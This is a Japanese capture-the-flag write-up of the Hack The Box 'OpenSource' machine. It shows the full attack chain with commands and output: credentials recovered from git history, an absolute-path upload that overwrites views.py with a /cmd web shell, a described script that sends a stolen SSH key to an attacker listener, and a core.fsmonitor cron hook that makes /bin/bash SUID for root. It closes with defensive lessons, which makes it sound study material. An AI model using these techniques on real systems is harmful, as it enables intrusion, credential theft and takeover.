Hack The BoxのWriteup(OpenSource)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: OpenSource — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(Werkzeug Flask)
→
/download からsource.zip入手
gitリポジトリを含むソース全体
→
git全履歴調査
削除済みdev01資格情報を復元
→
views.py を絶対パスで上書きアップロード
os.path.joinの仕様を悪用
→
/cmd エンドポイントでRCE
Dockerコンテナ内root
→
Gitea API経由でSSH鍵取得
user.txt ✓
→
git-sync cron + core.fsmonitor悪用
/bin/bash を SUID 化
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -sV -sC -p 22,80 10.129.227.140
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7
80/tcp open  http    Werkzeug httpd 2.1.2 (Python 3.10.3)
|_http-title: upcloud - Upload files for Free!
ℹ️
Werkzeug httpd はFlaskアプリの開発サーバーがそのまま本番で動いている状態。 「upcloud」というファイルアップロード共有サービス。
PHASE 2

ソースコード丸ごと公開 & git全履歴からの資格情報復元

/download からソースをまるごと取得

BASH
curl -s http://10.129.227.140/download -o source.zip
unzip -q source.zip -d source_ex
🚨
source.zipの中身には完全な .git ディレクトリが含まれていた。 つまりこのアプリは「開発中のgitリポジトリをそのままzip化して公開ダウンロードさせている」。 gitの履歴には、公開ブランチには存在しない過去のコミット・過去のブランチの差分が すべて残っている。

ブランチ構成の確認

BASH
cd source_ex
git branch -a
git log --all --oneline
RESULT
  dev
* public

2c67a52 clean up dockerfile for production use
c41fede ease testing
be4da71 added gitignore
a76f8f7 updated
ee9d9f1 initial
ℹ️
公開用のpublicブランチとは別に、開発用のdevブランチが 残っている。devブランチには/download・/upcloud エンドポイントが存在し、現在稼働中のアプリはこちらのコードで動いていることがわかる。

削除済みファイルをgit全履歴から発掘

BASH
git log --all -p | grep -B5 -i "proxy\|dev01"
RESULT
commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
--- /dev/null
+++ b/app/.vscode/settings.json
+{
+  "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
+  "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
+  "http.proxyStrictSSL": false
+}
...
--- a/app/.vscode/settings.json
+++ /dev/null   ← 後のコミットで削除されている
🚨
典型的な「git履歴クリーンアップの失敗」: 開発者は .vscode/settings.json(VSCodeのHTTPプロキシ設定に平文パスワードを うっかり書いてしまったファイル)を後のコミットで削除しているが、 git履歴そのものからは消えていない。git log --all -pで 全ブランチ・全コミットの差分を見れば、一度でもコミットされた内容は復元できる。 資格情報 dev01:Soulless_Developer#2022 を入手。
PHASE 3

os.path.join の絶対パス上書き仕様を悪用したRCE

アップロード処理のソースを確認

PYTHON (dev ブランチの app/app/views.py)
@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        ...
PYTHON (app/app/utils.py のサニタイズ関数)
def get_file_name(unsafe_filename):
    return recursive_replace(unsafe_filename, "../", "")

def recursive_replace(search, replace_me, with_me):
    if replace_me not in search:
        return search
    return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)
ℹ️
recursive_replaceは「../」という文字列が完全に消えるまで 再帰的に置換し続けるため、....//のような古典的な二重化バイパスは 効かない(再帰的に全て除去されてしまう)。一見しっかりした対策に見える。

本当の脆弱性: 先頭の「/」自体は除去されない

PYTHON (脆弱性の実証)
>>> import os
>>> os.path.join(os.getcwd(), "public", "uploads", "/app/app/views.py")
'/app/app/views.py'
🚨
サニタイズ関数は「../」の除去しか行っておらず、先頭が「/」で始まる 絶対パス自体はまったくブロックしていない。さらにos.path.joinは Python標準の仕様として「後続の引数が絶対パスの場合、それ以前の引数を すべて無視してその絶対パスをそのまま返す」という挙動を持つ。つまり アップロード時のファイル名(multipartのfilenameフィールド)を /app/app/views.pyのような絶対パスにするだけで、 public/uploads/配下ではなくアプリ自身のソースファイルへ 直接書き込める。古典的な「../」トラバーサルではなく、 絶対パスによる書き込み先上書きという、より根本的なバグ。

RCE用のviews.pyを作成しアップロード

PYTHON (差し替え用views.pyに追加する内容)
# 既存の全ルートはそのまま残しつつ、以下を追加する
import subprocess

@app.route('/cmd')
def execute():
    return subprocess.check_output(request.args.get('cmd').split(' '))
BASH
curl -s -X POST \
  -F "file=@malicious_views.py;filename=/app/app/views.py" \
  http://10.129.227.140/upcloud
⚠️
実装上の制約: subprocess.check_output(cmd.split(' '))は スペース区切りで引数配列化するだけでシェルを一切経由しないため、 パイプ|・リダイレクト>・環境変数展開・複数コマンドの &&連結などは一切使えない。複雑な処理をしたい場合は、 別ファイルとしてスクリプトを用意しwgetで取得後に python3 /tmp/script.pyのように単体の実行ファイルとして 呼び出す必要がある。

RCEの確認

BASH
curl -s "http://10.129.227.140/cmd?cmd=id"
RESULT
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
✅
RCE成功。ただしこれはあくまでDockerコンテナ内でのroot (ホストOSの一般ユーザー権限相当)。FLASK_DEBUG=1がdevブランチの Dockerfileで有効化されており、Werkzeugデバッガのトレースバックから /app/app/views.pyの実際のソースコード(差し替えたコードそのもの)が 丸見えになる点も、デバッグモードを本番運用する危険性の具体例として興味深い。
PHASE 4

コンテナからホストのGiteaへ横移動 & user.txt

コンテナ内の利用可能ツールを確認

BASH
curl -s "http://10.129.227.140/cmd?cmd=curl%20--version"    # → 失敗(存在しない)
curl -s "http://10.129.227.140/cmd?cmd=wget%20--version"    # → バージョン表示は失敗するが…
curl -s "http://10.129.227.140/cmd?cmd=python3%20--version" # → Python 3.10.3
ℹ️
コンテナ内にはcurlが入っていない。wgetは--version オプション自体がなぜか失敗するが、実際のファイル取得機能(URL→保存)は正常に動作する ことを確認済み。wgetでKali側から任意のファイル(スクリプトや公開鍵)を 取得し、python3で実行するのが本マシンでの定石ルートになる。

コンテナからホストのGiteaへの到達性を確認

BASH
curl -s "http://10.129.227.140/cmd?cmd=cat%20/etc/hosts"
RESULT
127.0.0.1	localhost
...
172.17.0.2	<container-id>
ℹ️
コンテナ自身のIPはDockerのデフォルトブリッジネットワーク(172.17.0.0/16)上。 Dockerのブリッジネットワークの仕様上、コンテナからホスト側(docker0の172.17.0.1) へは到達可能なことが多い。ホスト上でGitea(ポート3000)が稼働していないか確認する。

Python3スクリプトでGitea APIからSSH秘密鍵を取得

NOTE
wgetで取得・python3で実行するスクリプトの要点:
1. Phase2で復元した dev01:Soulless_Developer#2022 を
   Basic認証ヘッダーとしてBase64エンコード
   (wgetの --header=Authorization: Basic ... はURLクエリ経由だと
   スペースで分割されて壊れるため、Pythonのurllib.request側で
   ヘッダーを直接組み立てる)
2. Gitea REST APIで dev01 の "home-backup" リポジトリから
   .ssh/id_rsa を直接raw取得:
     GET http://172.17.0.1:3000/api/v1/repos/dev01/home-backup/raw/.ssh/id_rsa?ref=main
3. 取得した秘密鍵をKali側で待ち受けているリスナーへHTTP POSTで
   送り返す(/cmd 自体は標準出力がそのままレスポンスになるが、
   秘密鍵のような改行・特殊文字混じりのデータはURL経由の往復で
   壊れやすいため、スクリプト内から直接外部へPOSTする方式の方が確実)
ℹ️
Giteaの認証情報(dev01:Soulless_Developer#2022)は、Phase2でWebアプリ用の SSH/ログイン資格情報として漏れていたものと同一ユーザー名。このマシンの Giteaは「home-backup」という名前の通り、dev01のホームディレクトリ (.sshを含む)を定期的にgit管理下でバックアップしている構成になっている。

取得したSSH秘密鍵でログイン & user.txt取得

BASH
chmod 600 dev01_id_rsa
ssh -i dev01_id_rsa dev01@10.129.227.140 "id; cat /home/dev01/user.txt"
RESULT
uid=1000(dev01) gid=1000(dev01) groups=1000(dev01)
7ee1d71e31d1aa4d02bc2afc87534b78
user.txt — dev01
7ee1d71e31d1aa4d02bc2afc87534b78
PHASE 5

root稼働のgit-sync cron + core.fsmonitor悪用 & root.txt

root権限で動くバックアップ処理の発見

BASH
find / -iname 'git-sync*' 2>/dev/null
cat /usr/local/bin/git-sync
RESULT
#!/bin/bash
cd /home/dev01/
if ! git status --porcelain; then
    echo "No changes"
else
    day=$(date +'%Y-%m-%d')
    git add .
    git commit -m "Backup for ${day}"
    git push origin main
fi
🚨
root所有のcronジョブ(/etc/crontab/cron.dには 現れず、root自身の個人crontabに登録されているため一般ユーザーからは 直接見えないが、/usr/local/bin/git-sync自体は誰でも読める)が約1分おきに /home/dev01でgit status→git add→ git commit→git pushをroot権限で実行している。

core.fsmonitor フックの悪用

BASH
ssh -i dev01_id_rsa dev01@10.129.227.140 \
  "cd /home/dev01 && git config core.fsmonitor 'chmod 4755 /bin/bash'"
ssh -i dev01_id_rsa dev01@10.129.227.140 \
  "cd /home/dev01 && git config --get core.fsmonitor"
RESULT
chmod 4755 /bin/bash
🚨
git の core.fsmonitor 設定は、本来「ファイルシステム監視 デーモンへのパスやコマンド」を指定する設定値だが、ここに設定した 任意のコマンドが git status・git add 実行のたびに 自動実行される(File System Monitorフックの仕様)。この設定は .git/config(dev01が所有)に書き込まれるため、一般ユーザーの dev01が、rootが実行するgitコマンドに対して任意コマンド実行を仕込める。
⚠️
実機でのハマりポイント: git config コマンド自体のSSH越しの 実行が、まれに(ネットワークの一過性の揺らぎ等で)反映されないことがあった。 設定直後に git config --get core.fsmonitor で読み戻して検証し、 値が入っていなければリトライするのが確実。確認を省いて先に進むと、 「150秒待っても/bin/bashがSUID化されない」という紛らわしい失敗になる (実際にはcronの問題ではなく、そもそも設定が入っていなかっただけ)。

差分を作ってcronの発火を待つ

BASH
# git-sync は「変更が無ければ何もしない」ため、必ず新しい差分を作る。
# 同名ファイルの touch だけだと(既にcommit済みなら)差分扱いされないので
# 実行のたびにファイル名を変える
ssh -i dev01_id_rsa dev01@10.129.227.140 \
  "touch /home/dev01/.trigger_\$(date +%s)"

# 最大150秒(cronの約1分周期を2回分カバー)待ってから確認
ssh -i dev01_id_rsa dev01@10.129.227.140 "ls -la /bin/bash"
RESULT
-rwsr-xr-x 1 root root 1113504 ... /bin/bash   ← 所有者実行ビットが s = SUID化成功
✅
root権限で実行されたgit-syncがgit status/git addのたびに fsmonitorフックを発火させ、chmod 4755 /bin/bashがroot権限で実行された。

SUID bashでroot.txt取得

BASH
ssh -i dev01_id_rsa dev01@10.129.227.140 \
  "/bin/bash -p -c 'id; cat /root/root.txt'"
RESULT
uid=1000(dev01) gid=1000(dev01) euid=0(root) groups=1000(dev01)
19f5f076b4059be376d22214613a974a
ℹ️
bash -pオプションは「SUID/SGIDで起動された場合でも実行権限(euid)を 維持したまま起動する」モード。これを付けないと、bashが自動的に 実effective-UIDを実uidまで下げてしまい、SUID化していても権限が 上がらない点に注意。
root.txt — root (SUID bash経由)
19f5f076b4059be376d22214613a974a
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — dev01
7ee1d71e31d1aa4d02bc2afc87534b78
root.txt — root
19f5f076b4059be376d22214613a974a

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
git履歴に残存する削除済み機密情報 source.zip内の.gitディレクトリ全履歴 有効な資格情報の漏洩 High git log --all -pで過去に削除されたファイル(.vscode/settings.json)の内容を復元
os.path.joinの絶対パス上書きを利用したRCE upcloudのファイルアップロード機能 (/upcloud) 任意ファイル上書き → リモートコード実行 Critical サニタイズが「../」除去のみで絶対パスを考慮しておらず、filename=/app/app/views.pyでアプリ自身のソースを上書き
コンテナ→ホストの横移動(Giteaへの資格情報使い回し) Dockerブリッジネットワーク経由のGitea API (172.17.0.1:3000) SSH秘密鍵の窃取 Medium Webアプリ資格情報とGiteaアカウントが同一(dev01)、home-backupリポジトリに.sshディレクトリがバックアップされている
root cronのgit core.fsmonitorフック悪用 /usr/local/bin/git-sync (root cron) 権限昇格(一般ユーザー → root) Critical 一般ユーザーが所有するリポジトリの.git/configにfsmonitorとして任意コマンドを設定でき、root権限のgit操作のたびに実行される

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap22(SSH)/80(Werkzeug Flask「upcloud」)
2ソース漏洩分析/downloadでsource.zip取得 + git全履歴調査dev01:Soulless_Developer#2022
3RCE絶対パスファイル名でviews.pyを上書きアップロードコンテナ内root権限での任意コマンド実行(/cmd)
4横移動wget+python3でGitea REST APIからid_rsa取得user.txt(dev01)
5権限昇格core.fsmonitorフック + root cron(git-sync)発火待ちroot.txt

学んだ教訓 & 防御策

問題点防御策
開発用gitリポジトリ(.git含む)がzip化されそのまま一般公開ダウンロードされている 配布用アーカイブは.gitディレクトリを含まないビルド成果物のみとし、開発リポジトリと配布物を明確に分離する。
一度コミットした機密情報はファイル削除だけでは履歴から消えない 機密情報を誤ってコミットした場合はgit filter-repo等で履歴自体を書き換え、該当の認証情報は直ちに無効化・再発行する。
パストラバーサル対策が「../」の除去のみで、絶対パスの考慮が抜けている アップロードファイル名はホワイトリスト方式(許可文字種のみ)で再生成するか、os.path.basename()で必ずパス区切り文字を除去してから結合する。Werkzeugのsecure_filename()を利用するのが定石。
本番相当の環境でFLASK_DEBUG=1(Werkzeugデバッガ)が有効 本番環境では必ずデバッグモードを無効化する。万一有効にする場合もデバッガのPINロックを無効化せず、外部からアクセス不能なネットワークに限定する。
Webアプリとgitホスティング(Gitea)で同一の資格情報を使い回している サービスごとに独立した資格情報を発行し、資格情報マネージャーで一元管理する。横移動の起点を1アカウント漏洩で複数サービスに広げない。
一般ユーザー所有のgitリポジトリに対しroot権限でgitコマンドを定期実行している root権限で実行する自動化ジョブは、信頼できないユーザーが設定を書き換えられるディレクトリ・リポジトリに対して行わない。やむを得ない場合はgit -c core.fsmonitor= statusのように明示的にフックを無効化して実行する。
HackTheBox: OpenSource | 完全攻略レポート